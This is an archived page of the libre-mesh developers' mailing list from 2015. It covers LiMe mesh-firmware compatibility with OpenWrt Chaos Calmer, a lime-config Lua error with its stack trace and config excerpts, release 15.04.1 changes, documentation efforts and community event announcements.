Some pictures of LiMe makefile dependencies i produced for analysis and debug of Lime usage in our prototype network i4free-gr http://trizonelabs.com/lime-3zl/dokuwiki/doku.php?id=libremesh:treegraph Hoping its useful for someone . Program used to produce these upon request Cheers 3zl (Reinhard)

9 years, 6 months

1
0
0 0

interface naming 'wlan0_' OR 'wlan-'

by 3zl Trizonelabs

writing some setup scripts we discovered that the wlan interface naming changes in various branches. Is the naming now fixed to 'wlan0_' in dev branch ? cheers 3zl (Reinhard)

9 years, 6 months

1
0
0 0

Re: [lime-dev] Resumen de Dev, Vol 29, Envío 12

by 3zl Trizonelabs

We do test TP-Link CPE 210/510 the driver of which has been found on CC only the time we started with this routers. We plan to substitude our std.routers UBNT-Nanostations Loco M2 with these (more CPU power, more RAM) at same price. The Nanostations also give us some problems loosing the ethernet link sporatically, which does not have been the case with the TP-Link CPE for now. see https://forum.freifunk.net/t/tp-link-cpe210-510/594/79 (german) regards 3zl 2015-10-29 14:00 GMT+02:00 <dev-request(a)lists.libre-mesh.org>: > Send Dev mailing list submissions to > dev(a)lists.libre-mesh.org > > To subscribe or unsubscribe via the World Wide Web, visit > https://lists.libre-mesh.org/mailman/listinfo/dev > or, via email, send a message with subject or body 'help' to > dev-request(a)lists.libre-mesh.org > > You can reach the person managing the list at > dev-owner(a)lists.libre-mesh.org > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of Dev digest..." > > > Asuntos del día: > > 1. Re: Lime now works on Chaos Calmer (3zl Trizonelabs) > 2. Re: Lime now works on Chaos Calmer (Gio) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Wed, 28 Oct 2015 15:36:31 +0200 > From: 3zl Trizonelabs <trizonelabs(a)gmail.com> > To: dev(a)lists.libre-mesh.org > Subject: Re: [lime-dev] Lime now works on Chaos Calmer > Message-ID: > < > CAJuY50wZ+u9d0GBYpJjNgS79Mus1R9wdchqPhaL5rQgEL1yKCg(a)mail.gmail.com> > Content-Type: text/plain; charset="utf-8" > > We try to incroporate Lime into network which is CC only (for > techn.reasons) > So thank you very much for your efford. > > Will test ist ASAP with new test-builds on BR15L and gathering some more > dokumentation. > > > Keep up the good work ! > > 3zl / Reinhard > ------------ próxima parte ------------ > Se ha borrado un adjunto en formato HTML... > URL: < > http://lists.libre-mesh.org/pipermail/dev/attachments/20151028/9199b84d/att… > > > > ------------------------------ > > Message: 2 > Date: Thu, 29 Oct 2015 10:02:36 +0100 > From: Gio <gio(a)diveni.re> > To: libre-mesh developement <dev(a)lists.libre-mesh.org> > Subject: Re: [lime-dev] Lime now works on Chaos Calmer > Message-ID: <1664446.6YIUudYyQY@giomium> > Content-Type: text/plain; charset="us-ascii" > > On Wednesday, October 28, 2015 03:36:31 PM 3zl Trizonelabs wrote: > > We try to incroporate Lime into network which is CC only (for > techn.reasons) > > Can you disclose this reason? Some interesting piece of hardware supported > only in CC/trunk ? > > Cheers! > > > ------------------------------ > > _______________________________________________ > Dev mailing list > Dev(a)lists.libre-mesh.org > https://lists.libre-mesh.org/mailman/listinfo/dev > > > Fin de Resumen de Dev, Vol 29, Envío 12 > *************************************** >

9 years, 6 months

1
0
0 0

Re: [lime-dev] Lime now works on Chaos Calmer

by 3zl Trizonelabs

We try to incroporate Lime into network which is CC only (for techn.reasons) So thank you very much for your efford. Will test ist ASAP with new test-builds on BR15L and gathering some more dokumentation. Keep up the good work ! 3zl / Reinhard

9 years, 6 months

2
1
0 0

Lime now works on Chaos Calmer Was: linluaipluci and network.generate_host curse

by Gio

Hi! DISCLAIMER: This mail contain sarcasm! Please don't take it as a personal insult but as an occasion to make fun of our own code and learn ;) This morning I was reviewing the branch that claimed to fix incompatibilities with Chaos Calmer, I even re-based it on top of current develop and gave it a name that fits more in our branch naming convention... After some testing and reading I decided to not merge it and to rewrite it from scratch instead. Some shitty part of our code that was network.generate_host instead of using the IP API was messing a lot with CIDR private internals, as Lua is so indulgent it didn't refused to run but our code was a real mess! In the new version of the library that part has been rewritten in C and to Lua it exposed just the API so our shitty code can't mess with the private stuff anymore, in this situation our reaction instead of fixing our shitty code has been to copy the old luci code before putting it inside our core and then (more reasonably) as a separate package... This morning I have decided to do what we should have done since the beginning: rewrite the shit code so we don't need the old library anymore, in this process I even discovered a Luci bug that Jow has already fixed (a missing dependency) I was tempted to delete the wrong branch but i decided that is a good idea to keep it some week more so we all have time to review and understand what we have done wrong https://github.com/libre-mesh/lime-packages/tree/sandbox/ip_legacy_module And here it goes the branch with the proper solution https://github.com/libre-mesh/lime-packages/tree/sandbox/hotfix/luci-lib-ip I have already tested it if no one oppose this I'll merge it in the following days. Cheers!

9 years, 6 months

2
1
0 0

Repository mess and admin permission

by Gio

Hi! I was reviewing our repo and found out lot of personal branch out of the naming scheme we consensuated got inside our main repo. I believe this happened by accidental error because all members of our github organization has admin right on all repositories, i am changing this so there is no possibility of pushing accidentally unwanted stuff and a pull request have to be done Cheers!

9 years, 6 months

1
0
0 0

How to specify subnets and IP autoconfiguration range

by Ilario Gelmetti

Hi devs! Some times ago I reported an issue on Github asking to "Separate settings for netmask and IP range auto assignment" [#18]. Then I implemented a simple solution [#22] adding an _optional_ field to the main_ipv4_address option. G10 suggests to slightly modify my implementation, no problem. But could we discuss if there's a better solution or if mine is ok? Thanks, Ilario [#18]: https://github.com/libre-mesh/lime-packages/issues/18 [#22]: https://github.com/libre-mesh/lime-packages/pull/22 -- Ilario Gelmetti iochesonome(a)gmail.com igelmetti(a)iciq.es ilario.gelmetti(a)estudiants.urv.cat

9 years, 6 months

1
1
0 0

librenet6 halfdown again

by Gio

This service is critical enough for enough community networks to start thinking deeply on strategies on how to improve it's uptime in an even more decentralized manner. Cheers!

9 years, 6 months

2
2
0 0

RFC: preparing release 15.04.1

by Gui Iribarren

hey geniuses! i've been fixing a few loose ends that were left from the 15.04 release: * luci-app-lime-location was not included (we consider it a serious regression versus the AlterMesh we have been using until now) including it was really simple; at some point it would probably be nice to integrate it better (make it understand lime-defaults, etc) * luci-lib-librmap-bmx6 plugin was made by nico the other night, which greatly enhances the libremap experience by reporting bmx6 links :D. include that as well. https://github.com/libre-mesh/lime-packages/commit/1bba47922611722f265a5dff… ######## * lime-webui was mostly left half-baked, so i gave it a bit of love and fixes. Now it also blends better with the recently introduced luci-app-lime-location. https://github.com/libre-mesh/lime-packages/commit/6f26719a4bf47897ca7a8b62… ######## * most importantly, i gave one more round of love to the dnsmasq-lease-share stuff; now it works in all scenarios AFAICT, correctly resolving dhcp leases and also reserving leases gave by other nodes * while doing that, i also implemented a new package: dnsmasq-distributed-hosts , which shares the data found in /etc/hosts of each node. So now there's a trivial way to distribute static addresses through the whole cloud :) https://github.com/libre-mesh/lime-packages/commit/f4e2eb07d4c83571fecc3814… ######## in summary: https://github.com/libre-mesh/lime-packages/compare/15.04...sandbox/release… ######## last but not least, some tweaks to libremap-agent, which are already prepared as a pull request for andre https://github.com/libremap/libremap-agent-openwrt/pull/17 https://github.com/libre-mesh/libremap-agent/compare/15.04...libre-mesh:san… ######## i know this is diverging more and more from develop, really sorry for that :$ i promise to merge all this properly as soon as we finish deploying the stable release in our networks :D quintanalibre is already halfway through and boqueronlibre (a recently born network) has all its 10 routers with 15.04 running fine :) cheers!

9 years, 7 months

4
18
0 0

Fwd: [GSoC Mentors Announce] Google Summer of Code 2016

by Gio

---------- Forwarded Message ---------- Subject: [GSoC Mentors Announce] Google Summer of Code 2016 Date: Tuesday, October 13, 2015, 04:52:29 PM From: 'Carol Smith' via Google Summer of Code Mentors Announce List <gsoc- mentors-announce(a)googlegroups.com> To: GSoC Mentors Announce <gsoc-mentors-announce(a)googlegroups.com> Hi GSoC mentors and org admins, We've announced <http://google-opensource.blogspot.com/2015/10/dozen-of-one-half-dozen-of-ot…> that we're holding Google Summer of Code 2016 <http://g.co/gsoc>. The GSoC calendar <https://www.google.com/calendar/embed?src=gsummerofcode@gmail.com&ctz=Ameri…>, FAQ <https://developers.google.com/open-source/gsoc/faq>, and events timeline <https://developers.google.com/open-source/gsoc/timeline> have all been updated with next year's important dates, so please refer to those for the milestones for the program. Please consider applying to participate as an organization again next year or maybe joining as a mentor for your favorite organization if they are selected to participate. We rely on you for your help for the success of this program, so thank you in advance for all the work you do! Cheers, Carol -- You received this message because you are subscribed to the Google Groups "Google Summer of Code Mentors Announce List" group. To unsubscribe from this group and stop receiving emails from it, send an email to gsoc-mentors-announce+unsubscribe(a)googlegroups.com. Visit this group at http://groups.google.com/group/gsoc-mentors-announce. For more options, visit https://groups.google.com/d/optout. -----------------------------------------

9 years, 7 months

1
0
0 0

Some emails not delivered?

by Ilario Gelmetti

Hi! I noticed that some emails didn't get delivered, I don't have them neither in spam folder but they are in the archive. For example: of the last four mail of september sent by trizonelabs(a)gmail.com I have just one in my inbox. http://lists.libre-mesh.org/pipermail/dev/2015-September/date.html It's just me or we have a faulty spam filter or some sending problems? Bye! Ilario -- Ilario Gelmetti iochesonome(a)gmail.com igelmetti(a)iciq.es ilario.gelmetti(a)estudiants.urv.cat

9 years, 7 months

2
1
0 0

New technical documents about Libre-Mesh

by Ilario Gelmetti

If you didn't read those emails from trizonelabs (see my last email about emails not being delivered), here you are the really useful document that was linked there: http://simon.bugs3.com/lime-3zl/dokuwiki/doku.php and its backup http://i4free-gr.eu5.org/info/lime-3zl/dokuwiki/doku.php I vote for moving the two pages about libre-mesh on the official wiki. Ilario -- Ilario Gelmetti iochesonome(a)gmail.com igelmetti(a)iciq.es ilario.gelmetti(a)estudiants.urv.cat

9 years, 7 months

1
0
0 0

brief downtime of libre-mesh.org for maintenance

by Gui Iribarren

Hello people, i'm taking dev.libre-mesh.org (and chef.altermundi.net) down for a brief maintenance right now, it should be back in less than an hour, sorry for the inconvenience! cheers gui

9 years, 7 months

1
0
0 0

Re: [lime-dev] Resumen de Dev, Vol 22, Envío 4

by 3zl Trizonelabs

Hello @all i am very sorry that the link to http://simon.bugs3.com/lime-3zl/dokuwiki/doku.php?id=libremesh:start seems not to be working any more for reasons unknown. I will try to save / move the content and let you know. Cheers 3zl(Reinhard) 2015-02-05 14:00 GMT+02:00 <dev-request(a)lists.libre-mesh.org>: > Send Dev mailing list submissions to > dev(a)lists.libre-mesh.org > > To subscribe or unsubscribe via the World Wide Web, visit > https://lists.libre-mesh.org/mailman/listinfo/dev > or, via email, send a message with subject or body 'help' to > dev-request(a)lists.libre-mesh.org > > You can reach the person managing the list at > dev-owner(a)lists.libre-mesh.org > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of Dev digest..." > > > Asuntos del día: > > 1. libremesh documenttion effort : start (3zl Trizonelabs) > 2. Re: libremesh documenttion effort : start (Pau) > 3. Re: Please put the subject next time (Pau) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Wed, 4 Feb 2015 21:17:26 +0300 > From: 3zl Trizonelabs <trizonelabs(a)gmail.com> > To: dev(a)lists.libre-mesh.org > Subject: [lime-dev] libremesh documenttion effort : start > Message-ID: > < > CAJuY50wn0Zgce6FJraa4nWzoQuLyYh20kH-caX6nB1e1c0_r9g(a)mail.gmail.com> > Content-Type: text/plain; charset="utf-8" > > As to sort raw intormation about the lime systems, we did start a dokuwiki > at http://goo.gl/l23aks > > If things go well this might be transfered to any official libremesh docu > site. > > We would appreciate any form of ideas,help or cooperation. > > Thank you > > 3zl(Reinhard) > ------------ próxima parte ------------ > Se ha borrado un adjunto en formato HTML... > URL: < > http://lists.libre-mesh.org/pipermail/dev/attachments/20150204/693814bf/att… > > > > ------------------------------ > > Message: 2 > Date: Thu, 05 Feb 2015 09:35:15 +0100 > From: Pau <pau(a)dabax.net> > To: dev(a)lists.libre-mesh.org > Subject: Re: [lime-dev] libremesh documenttion effort : start > Message-ID: <54D32B43.1040704(a)dabax.net> > Content-Type: text/plain; charset="windows-1252" > > Hi. > Documentation is something missing in libre-mesh, so it is a good idea > to dedicate some efforts, thank you. However you might register into > libre-mesh.org and create there the wiki page (following the redmine > wiki syntax) instead of using a dokuwiki which is sightly different. > > Cheers. > > On 04/02/15 19:17, 3zl Trizonelabs wrote: > > As to sort raw intormation about the lime systems, we did start a > dokuwiki > > at http://goo.gl/l23aks > > > > If things go well this might be transfered to any official libremesh docu > > site. > > > > We would appreciate any form of ideas,help or cooperation. > > > > Thank you > > > > 3zl(Reinhard) > > > > > > > > _______________________________________________ > > Dev mailing list > > Dev(a)lists.libre-mesh.org > > https://lists.libre-mesh.org/mailman/listinfo/dev > > > > -- > ./p4u > > ------------ próxima parte ------------ > A non-text attachment was scrubbed... > Name: signature.asc > Type: application/pgp-signature > Size: 473 bytes > Desc: OpenPGP digital signature > URL: < > http://lists.libre-mesh.org/pipermail/dev/attachments/20150205/6365b777/att… > > > > ------------------------------ > > Message: 3 > Date: Thu, 05 Feb 2015 09:39:26 +0100 > From: Pau <pau(a)dabax.net> > To: dev(a)lists.libre-mesh.org > Subject: Re: [lime-dev] Please put the subject next time > Message-ID: <54D32C3E.8000406(a)dabax.net> > Content-Type: text/plain; charset="windows-1252" > > By the way, this wiki page explains the network architecture of libre-mesh: > > http://libre-mesh.org/projects/libre-mesh/wiki/Network_Architecture > > It might be useful to understand the internals of the basic system. > > On 03/02/15 16:51, Gioacchino Mazzurco wrote: > > On Tuesday, February 03, 2015 06:37:24 PM 3zl Trizonelabs wrote: > >> 1.is there any "override" mechanism to stop lime-config touching > >> original config files or params within ? > > > > Do you meana specific confg file ora you wanna prevent that lime-config > edit > > config files in general ? > > > > > >> 2. overall view of the design "/usr/bin/lime-config" ( lua script > >> with no "lua" extension ?) > > > > It just call all lime modules clean() and then configure() method > > > > > >> 3. list of keywords used in "/usr/bin/lime-config" and respective > >> scripts / files > > > > What you mean by keywords ? > > > > > >> 4. there is some "mingle" between lime and lime-defaults - whats the > >> meaning of "missing" compared to what. > >> > >> Next halt : Parsing of lime / lime-defauls and the respective list of > >> keywords with their actions have to be carved out of the source > > > > For example the option lime.network.protocols is a necessary option so > if the > > user do not specify it in /etc/config/lime then the one from > /etc/config/lime- > > defaults (that the user must not touch) is taken > > > > > >> btw : we have been really surprised by the numbers of interfaces been > >> generated and digging deep to find out to which extent they are > >> necessary and to what use > > > > Abstraction always come with a price, lime is a metafirmware so you can > change > > it's behavior dramatically just editing a couple of options, to have > such a > > level of abstraction we opted to use tagged vlans, mac vlan and some > other > > technique that have the "virtual draw back" of creating a lot of > interfaces > > > > > >> No organised site to store the documentation to ? > > > > http://libre-mesh.org/ > > We are mostly volunteers we document libre-mesh in our spare time, if > you have > > some resource to dedicate to us we will be happy to spend some more works > > hours on developing/documenting lime, we also accept patches or if you > wanna > > write some docs you are welcome too > > > > > > _______________________________________________ > > Dev mailing list > > Dev(a)lists.libre-mesh.org > > https://lists.libre-mesh.org/mailman/listinfo/dev > > > > -- > ./p4u > > ------------ próxima parte ------------ > A non-text attachment was scrubbed... > Name: signature.asc > Type: application/pgp-signature > Size: 473 bytes > Desc: OpenPGP digital signature > URL: < > http://lists.libre-mesh.org/pipermail/dev/attachments/20150205/a3eee027/att… > > > > ------------------------------ > > _______________________________________________ > Dev mailing list > Dev(a)lists.libre-mesh.org > https://lists.libre-mesh.org/mailman/listinfo/dev > > > Fin de Resumen de Dev, Vol 22, Envío 4 > ************************************** >

9 years, 7 months

1
2
0 0

Re: [lime-dev] Resumen de Dev, Vol 28, Envío 6

by 3zl Trizonelabs

i build CC with luci 0.12 still containing Hex function seems to be ok FYI: i noticed https://github.com/libre-mesh/lime-packages/issues/7 as we are bound to openWRT CC on CPE210 maybe someone find a durable solution so we could use luic for 15.x cheers 3zl(Reinhard) 2015-09-15 15:00 GMT+03:00 <dev-request(a)lists.libre-mesh.org>: > Send Dev mailing list submissions to > dev(a)lists.libre-mesh.org > > To subscribe or unsubscribe via the World Wide Web, visit > https://lists.libre-mesh.org/mailman/listinfo/dev > or, via email, send a message with subject or body 'help' to > dev-request(a)lists.libre-mesh.org > > You can reach the person managing the list at > dev-owner(a)lists.libre-mesh.org > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of Dev digest..." > > > Asuntos del día: > > 1. Re: lime-config error Hex (Ilario Gelmetti) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Mon, 14 Sep 2015 17:01:12 +0200 > From: Ilario Gelmetti <iochesonome(a)gmail.com> > To: libre-mesh developement <dev(a)lists.libre-mesh.org> > Subject: Re: [lime-dev] lime-config error Hex > Message-ID: <55F6E138.50603(a)gmail.com> > Content-Type: text/plain; charset="windows-1252" > > On 08/14/2015 09:33 PM, 3zl Trizonelabs wrote: > > running lime-config get follung error and faulst in config files (%M %N > > parameters not set) > > > > Chaos-calmer 15.05 > > LiMe 15.04 BigBang (15.04 rev.a1b8263 20150814_2143) > > > > lime-config > > > > /usr/lib/lua/lime/network.lua:35: attempt to call field 'Hex' (a nil > value) > > Hi! > This problem has been addressed by Pau, I suggest you to look into the > discussion with subject "15.09 coming..." in the September archives of > this list [0]. You can try the ip_legacy_module branch that should solve > the issue [1]. > Let us know ;) > Ilario > > [0] http://lists.libre-mesh.org/pipermail/dev/2015-September/thread.html > [1] https://github.com/libre-mesh/lime-packages/tree/ip_legacy_module > > -- > Ilario Gelmetti > iochesonome(a)gmail.com > igelmetti(a)iciq.es > ilario.gelmetti(a)estudiants.urv.cat > > ------------ próxima parte ------------ > A non-text attachment was scrubbed... > Name: signature.asc > Type: application/pgp-signature > Size: 181 bytes > Desc: OpenPGP digital signature > URL: < > http://lists.libre-mesh.org/pipermail/dev/attachments/20150914/1fd9850a/att… > > > > ------------------------------ > > _______________________________________________ > Dev mailing list > Dev(a)lists.libre-mesh.org > https://lists.libre-mesh.org/mailman/listinfo/dev > > > Fin de Resumen de Dev, Vol 28, Envío 6 > ************************************** >

9 years, 7 months

1
0
0 0

Academic text on libre-mesh

by Gio

I am completing graduation in Computer Science, as subject of my final work I have choosed to implement interoperability between Guifi.net classic networks and Libre-Mesh based networks, the paper describe this work plus most parts of Libre-Mesh meta-firmware. The paper is public and released under creative common. If you spot some error feel free to give feedback. https://bitly.com/1KU6sRp

9 years, 7 months

2
1
0 0

Packages to deselect

by Ilario Gelmetti

Hi all! I was preparing some pre-configured images for NinuxVerona [1,2] and following the italian guide for compiling Libre-Mesh [3]. When I reached the point about menuconfig I got a doubt: why should I deselect all those modules? Could you explain me if it's always a good idea to deselect * Base system/dnsmasq * Base system/firewall * Network/odhcpd and if it's not, in which cases should I keep these? Should I select some LiMe package to replace their functions? For example I noticed lime-eb-ip-tables [4] which I guess is needed for having masquerading even deselecting Base system/firewall? Thanks, Ilario [1] https://github.com/VeronaWirelessCommunity/lime-packages [2] http://verona.ninux.org/ [3] http://wiki.ninux.org/Libre-Mesh#Compilare [4] https://github.com/libre-mesh/lime-packages/blob/develop/packages/lime-eb-i… -- Ilario Gelmetti iochesonome(a)gmail.com igelmetti(a)iciq.es ilario.gelmetti(a)estudiants.urv.cat

9 years, 7 months

3
4
0 0

librenet6 half down?

by Gio

Hi! >From barcelona I am connecting to multiple librenet6 nodes and getting routes from them but there is not 0::0/0 nor 2000::0/3 something happening to chato ? Cheers!

9 years, 7 months

3
5
0 0

lime-config error Hex

by 3zl Trizonelabs

running lime-config get follung error and faulst in config files (%M %N parameters not set) ### Chaos-calmer 15.05 LiMe 15.04 BigBang (15.04 rev.a1b8263 20150814_2143) lime-config Clearing wireless config... Clearing network config... Disabling odhcpd sh: /etc/init.d/odhcpd: not found Cleaning dnsmasq Disabling 6relayd... /usr/lib/lua/lime/network.lua:35: attempt to call field 'Hex' (a nil value) stack traceback: /usr/lib/lua/lime/network.lua:155: in function 'Hex' /usr/lib/lua/lime/network.lua:35: in function 'generate_host' /usr/lib/lua/lime/network.lua:65: in function 'primary_address' /usr/lib/lua/lime/proto/lan.lua:9: in function 'configure' /usr/lib/lua/lime/network.lua:154: in function </usr/lib/lua/lime/networ k.lua:154> [C]: in function 'xpcall' /usr/lib/lua/lime/network.lua:154: in function </usr/lib/lua/lime/networ k.lua:143> [C]: in function 'xpcall' /usr/bin/lime-config:48: in function 'main' /usr/bin/lime-config:54: in main chunk [C]: ? Configuring system... Let uhttpd listen on IPv4/IPv6 ## can somebody help me out where to look or what im missing perhaps tnx 3zl

9 years, 8 months

4
4
0 0

Ground routing usage?

by Gio

Hi! I have just read "as well as some Ubiquiti 5ghz bridges, connected by ethernet pigtails to the TP-Link’s switch. All of the routing is done by Libre-Mesh running on the TP- Links: The Ubiquitis are dumb wireless bridges." http://blog.altermundi.net/article/libre-meshing-paravachasca-valley/ Are you using lime-hwd-ground-routing? I ask because it is done for this type of things. Cheers!

9 years, 8 months

2
1
0 0

personal_ap_ssid

by leonaard

Hi, i (and some other lime enthusiasts i know) would like to have a custom ssid in addition to the ap_ssid, in some cases we want this additional wifi network protected (wpa2) and/or on a separate subnet (not briged to bat0). I would like to implement this in lime-system, do you agree or is it better in a separate module? Do you have any advice?

9 years, 8 months

2
1
0 0

wiki account

by leonaard

Hi i would like to contribute to the documentation, i registered a account (leonaard) but i am not able to login. Can you activate my account and enable it to edit the lime firmware wiki? thanks

9 years, 8 months

2
1
0 0

lime-config error Hex (3zl Trizonelabs)

by 3zl Trizonelabs

lime # option bmx6_over_batman false # Disables Bmx6 meshing on top of batman # option main_ipv4_address '192.0.2.0/24' # Parametrizable with %Mn, %Nn # option main_ipv6_address '2001:db8::%M5:%M6/64' # Parametrizable with %Mn, %Nn # list protocols adhoc # List of protocols configured by LiMe # list protocols lan # list protocols anygw # list protocols batadv:%N1 # Parametrizable with %Nn # list protocols bmx6:13 # list resolvers 8.8.8.8 # DNS servers node will use # list resolvers 2001:4860:4860::8844 ### WiFi general options #config lime wifi # option channel_2ghz '11' # option channel_5ghz '48' # list modes 'ap' # list modes 'adhoc' # option ap_ssid 'LiMe' # option adhoc_ssid 'libre-mesh' # Parametrizable with %M, %H # option adhoc_bssid 'ca:fe:00:c0:ff:ee' # option adhoc_mcast_rate_2ghz '24000' # option adhoc_mcast_rate_5ghz '6000' # option mesh_mesh_fwding '0' # option mesh_mesh_id 'LiMe' ### WiFi interface specific options ( override general option ) #config wifi radio11 # list modes 'adhoc' # option channel_2ghz '1' # option channel_5ghz '48' # option adhoc_mcast_rate '6000' # option adhoc_ssid 'libre-mesh' # option adhoc_bssid 'ca:fe:00:c0:ff:ee' #config wifi radio12 # list modes 'manual' # If you use manual protocol you must not specify other protocol, or your configuration will be broken! ### Network interface specific options ( override general option ) ### Available protocols: bmx6, batadv, wan, lan, manual ### proto:vlan_number works too ( something like bmx6:13 is supported ) ### If you use manual do not specify other protocols, may result in an unpredictable behavior/configuration (likely you loose connection to the node) #config net port5 # option linux_name 'eth1.5' # list protocols 'manual' ### Ground routing specific sections ### One section for each ground routing link #config hwd_gr link1 # option net_dev 'eth0' # Plain ethernet device on top of which 802.1q vlan will be constructed # option vlan '5' # Vlan id to use for this ground routing link, use little one because cheap switch doesn't supports big ids, this will bi used also as 802.1q vid # option switch_dev 'switch0' # If your ethernet device is connected to a switch chip you must specify it # option switch_cpu_port '0' # Refer to switch port map of your device on openwrt wiki to know CPU port index # list switch_ports '4' #################### lime-defaults # Beware this file is NOT supposed to be edited by the end user, modify /etc/config/lime instead # If the same configuration is contained in both /etc/config/lime and lime-defaults file, the former will prevail # Beware this file is not supposed to store specific configuration, like "config net eth0" config lime system option hostname 'LiMeNode-%M4%M5%M6' config lime network option primary_interface eth0 option main_ipv4_address '192.0.2.0/24' option main_ipv6_address '2001:db8::%M5:%M6/64' list protocols adhoc list protocols lan list protocols anygw list protocols batadv:%N1 list protocols bmx6:13 list resolvers 8.8.8.8 list resolvers 2001:4860:4860::8844 config lime wifi option channel_2ghz '11' option channel_5ghz '48' list modes 'ap' list modes 'adhoc' option ap_ssid 'libre-mesh.org' option adhoc_ssid '%H' option adhoc_bssid 'ca:fe:00:c0:ff:ee' option adhoc_mcast_rate_2ghz '24000' option adhoc_mcast_rate_5ghz '6000' option mesh_mesh_fwding '0' option mesh_mesh_id 'LiMe' ############# somthing worth to note : %H and is not expanded in /config/wireless /etc/config/network br-lan ip NOT set ## hope somebody can help # sorry have to stay with CC-RC3 but didnt have any problems with luci/lua until now running build for AR71xx greetings

9 years, 9 months

1
0
0 0

automatic sysupgrade

by leonaard

Hi, i am willing to write an auto upgrading system for lime, i saw the simple get->checksum->flash script from qmp [0] (thanks to Ilario), but i am thinking of a more decentralized solution. Something like: * link to new release is annunced on the network (eg using alfred on bat-adv networks) * nodes share images via bittorrent * each node checks the (pgp) image signature and flashes it user can choose to trust the included signatures or to use its own pgp trust chain do you think this can be useful? comments? [0] http://dev.qmp.cat/projects/qmp/repository/revisions/master/entry/packages/…

9 years, 9 months

3
2
0 0

Fwd: [Battlemesh] Athens Wireless Summit 2015 - Call for Participation / Talks

by Ilario

Hi all! During BattleMeshV8 we knew some community networks activists from Greece, seems that there will be a talk about Libre-Mesh in the "Athens Wireless Summit 2015" [1]. Due to the lack of documentation they had hard time trying to understand/use LiMe. Let's write some documentation, I think that Libre-Mesh is stable enough!! (and, needless to say, the lack of documentation is damaging the project) Ciao, Ilario [1] http://events.awmn.net/wp/?page_id=54&lang=en ---------- Forwarded message ---------- From: Joseph Bonicioli <nettraptor(a)awmn.net> Date: 2015-08-06 22:12 GMT+02:00 Subject: [Battlemesh] Athens Wireless Summit 2015 - Call for Participation / Talks Athens Wireless Summit 2015 Call for Participation / Talks Dear All, If you are involved in a community network, if you have deployed wireless or fiber technology for a community network, if you love the commons, if you are from the academia running a wireless or community related testbed, then this call is for you! We are pleased to announce that Athens Wireless Metropolitan Network (AWMN) is organizing a two day event titled «Athens Wireless Summit 2015». It will take place during the weekend of the 19th and 20th of September 2015 at Impact Hub Athens Greece. It would be our pleasure to have you there and we encourage you to participate with a talk or a workshop or both. What is it? The Athens Wireless Summit 2015 is a two day event which aims to bring people together, from the academia, the world of commons, open source and wireless networks communities and all those involved or interested in wireless network technologies, in order to meet with each other, exchange views and experiences, explore possibilities for cooperation and synergies and to promote the benefits of developing modern telecommunication infrastructure as an enhancement factor for a region. We aspire to include presentations, discussions, workshops, social events and exhibitions of wireless network technologies, the development of network infrastructure and shared services, the promotion of the social character on developing community networks by citizens for citizens as well as developing networks of active people around these; with examples like the cooperation structures that exist or can be developed between these communities in Greece and abroad. Where and When The event will take place on Saturday the 19th and Sunday the 20th of September 2015 at Impact Hub, Karaiskaki 28 in Athens. The entire building of Impact Hub will be available for the two day event. This gives us the opportunity to schedule both seminars and workshops in parallel flows. For more information about Impact Hub, please visit their site at: http://athens.impacthub.net Format and content of the talks We aspire to keep a balance between community networks, academia, everyday real community applications and related technology subjects. Subjects may be anything related to community networks ranging from applications, wireless technology, mesh protocols, testbeds, other routing protocols, social related subjects, IoT, related research subjects and anything that will make those two days productive, fun and beneficial to all. Related Talks or Workshops will be grouped together and be placed on the schedule in order to have cohesion of subjects and help participants choose their tracks. Finally we welcome proposals of anything you think may be of interest to community network enthusiasts. The format can be of any kind, for example a presentation, talk, discussion, debate, practical workshop, or film screening. The suggested duration for talks is 20 minutes where workshops can be arranged to take anything up to 1 hour depending on slot and space availability. Lightening talks Lightening talks are shorter talks which can be submitted after the main workshops/talks deadline, to give everybody the opportunity to present their project/idea. Each lightening talk will be 7 minutes long, followed by 3 minutes of questions. Projector slides can be submitted in EPS or PDF format to: aws-submissions(a)awmn.net Proposed Draft of the Program Presentations / Talks Time Saturday the 19th Open Space - 1st Floor Sunday the 20th Open Space - 1st Floor 09:30 - 10:30 Arrival / Registrations / Coffee Arrival / Registrations / Coffee 10:30 - 10:45 Welcome / Objectives of the day Welcome / Objectives of the day 10:45 - 11:00 The schedule of the day (speakers, workshops, panels) The schedule of the day (speakers, workshops, panels) 11:00 - 11:20 … (1st Presentation) … (1st Presentation) 11:20 - 11:40 … (2nd Presentation) … (2nd Presentation) 11:40 - 12:00 … (3rd Presentation) … (3rd Presentation) 12:00 - 12:30 Discussion Panel (Subject?) Discussion Panel (Subject?) 12:30 - 13:00 Coffee Break Coffee Break 13:00 - 13:20 … (4th Presentation) … (4th Presentation) 13:20 - 13:40 … (5th Presentation) … (5th Presentation) 13:40 - 14:00 … (6th Presentation) … (6th Presentation) 14:00 - 15:00 Break for Light Lunch Break for Light Lunch 15:00 - 15:20 … (7th Presentation) … (7th Presentation) 15:20 - 15:40 … (8th Presentation) … (8th Presentation) 15:40 - 16:00 … (9th Presentation) … (9th Presentation) 16:00 - 16:30 Discussion Panel (Subject?) Discussion Panel (Subject?) 16:30 - 17:00 Coffee Break Coffee Break 17:00 - 17:20 … (10th Presentation) … (10th Presentation) 17:20 - 17:40 … (11th Presentation) … (11th Presentation) 17:40 - 18:00 … (12th Presentation) … (12th Presentation) 18:00 - 18:30 Discussion Panel (Subject?) Conclusions - End of Day 1 Discussion Panel (Subject?) Conclusions - End of Event 18:30 - till late Social networking / Party Social networking / Party Suggested Workshops/ideas WORKSHOPS Time Saturday the 19th Open Space - Ground Floorr Sunday the 20th Open Space - GroundFloor ? Wireless Node, Installation & Configuration ΙοΤ applications ? Operating Systems & their customization Optical Links ? Off the grid applications Applications on Community Networks ? Confine Platform Research Infrastructures ? .. .. EXHIBITIONS Room White Room Photo Galleries of Wireless Community Network (CWN) Node facilities throughout Greece/Europe/The world ... Exhibition with Wireless Network Equipment used by CWNs Your Exhibition! Submissions To allow an efficient handling of your proposal, please submit your proposal utilizing this google form (http://goo.gl/forms/0GccRp8SaZ). If you do not like Google forms, please provide the following information and send them by email to the address below: Your name What format will it take (talk/workshop/panel discussion/lightening talk/…) Your topic headline Your topic description which can be brief (does not need to exceed a couple of lines) but should provide a reasonable summary of your talk The dates of your stay at the event and (optional) preferred day for your slot The duration of the slot if you wish to do a workshop (all other slots will be limited to one hour) Any requirements you need, for example, a projector. The email address you need to send the above info to is 